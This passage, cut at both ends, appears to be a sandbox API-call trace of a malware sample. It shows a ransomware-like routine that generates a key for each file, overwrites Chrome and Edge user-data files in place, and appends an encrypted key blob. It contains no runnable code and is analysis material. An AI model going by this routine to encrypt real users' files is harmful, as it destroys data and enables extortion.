out: lpBuffer=0x2fd0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12408, lpOverlapped=0x0) returned 1 [0156.758] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12408 [0156.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.758] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.759] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.759] CloseHandle (hObject=0x9e8) returned 1 [0156.849] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0156.849] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0156.850] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", dwFileAttributes=0x80) returned 1 [0156.850] ReadFile (in: hFile=0x9e8, lpBuffer=0x5c3548, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0156.851] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.851] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0156.851] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0156.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0156.851] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0156.851] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0156.852] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0156.853] CloseHandle (hObject=0x9e8) returned 1 [0156.854] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0156.854] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0156.854] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma", dwFileAttributes=0x80) returned 1 [0156.859] ReadFile (in: hFile=0x9e8, lpBuffer=0x3124020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3124020*, lpNumberOfBytesRead=0x2e1f9bc*=0x100000, lpOverlapped=0x0) returned 1 [0157.004] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.004] WriteFile (in: hFile=0x9e8, lpBuffer=0x3239020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3239020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100000, lpOverlapped=0x0) returned 1 [0157.015] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x100000 [0157.015] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.015] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.015] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.024] WriteFile (in: hFile=0x9e8, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.024] CloseHandle (hObject=0x9e8) returned 1 [0157.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0157.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.026] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", dwFileAttributes=0x80) returned 1 [0157.026] ReadFile (in: hFile=0x9ec, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.026] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.026] WriteFile (in: hFile=0x9ec, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.026] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.027] WriteFile (in: hFile=0x9ec, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.028] WriteFile (in: hFile=0x9ec, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.028] CloseHandle (hObject=0x9ec) returned 1 [0157.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0157.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.029] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\container.dat", dwFileAttributes=0x80) returned 1 [0157.030] ReadFile (in: hFile=0x9f0, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.030] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.030] WriteFile (in: hFile=0x9f0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.030] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.030] WriteFile (in: hFile=0x9f0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.031] WriteFile (in: hFile=0x9f0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.032] CloseHandle (hObject=0x9f0) returned 1 [0157.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.033] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", dwFileAttributes=0x80) returned 1 [0157.034] ReadFile (in: hFile=0x9f4, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.034] SetFilePointer (in: hFile=0x9f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.034] WriteFile (in: hFile=0x9f4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.034] SetFilePointer (in: hFile=0x9f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.034] WriteFile (in: hFile=0x9f4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.035] WriteFile (in: hFile=0x9f4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.035] CloseHandle (hObject=0x9f4) returned 1 [0157.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.037] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", dwFileAttributes=0x80) returned 1 [0157.037] ReadFile (in: hFile=0x9f8, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.037] SetFilePointer (in: hFile=0x9f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.037] WriteFile (in: hFile=0x9f8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.037] SetFilePointer (in: hFile=0x9f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.037] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.037] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.038] WriteFile (in: hFile=0x9f8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.039] WriteFile (in: hFile=0x9f8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.039] CloseHandle (hObject=0x9f8) returned 1 [0157.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0157.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.041] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml", dwFileAttributes=0x80) returned 1 [0157.043] ReadFile (in: hFile=0x9fc, lpBuffer=0x2fbe010, nNumberOfBytesToRead=0x132e5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fbe010*, lpNumberOfBytesRead=0x2e1f9bc*=0x132e5, lpOverlapped=0x0) returned 1 [0157.092] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=-78565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.092] WriteFile (in: hFile=0x9fc, lpBuffer=0x2fd1300*, nNumberOfBytesToWrite=0x132e5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fd1300*, lpNumberOfBytesWritten=0x2e1f9bc*=0x132e5, lpOverlapped=0x0) returned 1 [0157.093] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x132e5 [0157.093] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.093] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.093] WriteFile (in: hFile=0x9fc, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.093] WriteFile (in: hFile=0x9fc, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.094] CloseHandle (hObject=0x9fc) returned 1 [0157.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0157.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0157.096] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\container.dat", dwFileAttributes=0x80) returned 1 [0157.097] ReadFile (in: hFile=0x9fc, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.097] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.097] WriteFile (in: hFile=0x9fc, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.097] SetFilePointer (in: hFile=0x9fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.097] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.097] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.098] WriteFile (in: hFile=0x9fc, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.099] WriteFile (in: hFile=0x9fc, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.099] CloseHandle (hObject=0x9fc) returned 1 [0157.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0157.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompatua\\container.dat", dwFileAttributes=0x80) returned 1 [0157.101] ReadFile (in: hFile=0xa00, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.101] SetFilePointer (in: hFile=0xa00, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.101] WriteFile (in: hFile=0xa00, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.101] SetFilePointer (in: hFile=0xa00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.101] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.101] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.101] WriteFile (in: hFile=0xa00, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.102] WriteFile (in: hFile=0xa00, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.102] CloseHandle (hObject=0xa00) returned 1 [0157.104] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.104] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.104] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_ieflipahead\\container.dat", dwFileAttributes=0x80) returned 1 [0157.104] ReadFile (in: hFile=0xa04, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.104] SetFilePointer (in: hFile=0xa04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.104] WriteFile (in: hFile=0xa04, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.104] SetFilePointer (in: hFile=0xa04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.104] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.105] WriteFile (in: hFile=0xa04, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.106] WriteFile (in: hFile=0xa04, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.106] CloseHandle (hObject=0xa04) returned 1 [0157.125] WriteFile (in: hFile=0xa08, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.126] CloseHandle (hObject=0xa08) returned 1 [0157.127] WriteFile (in: hFile=0xa10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, 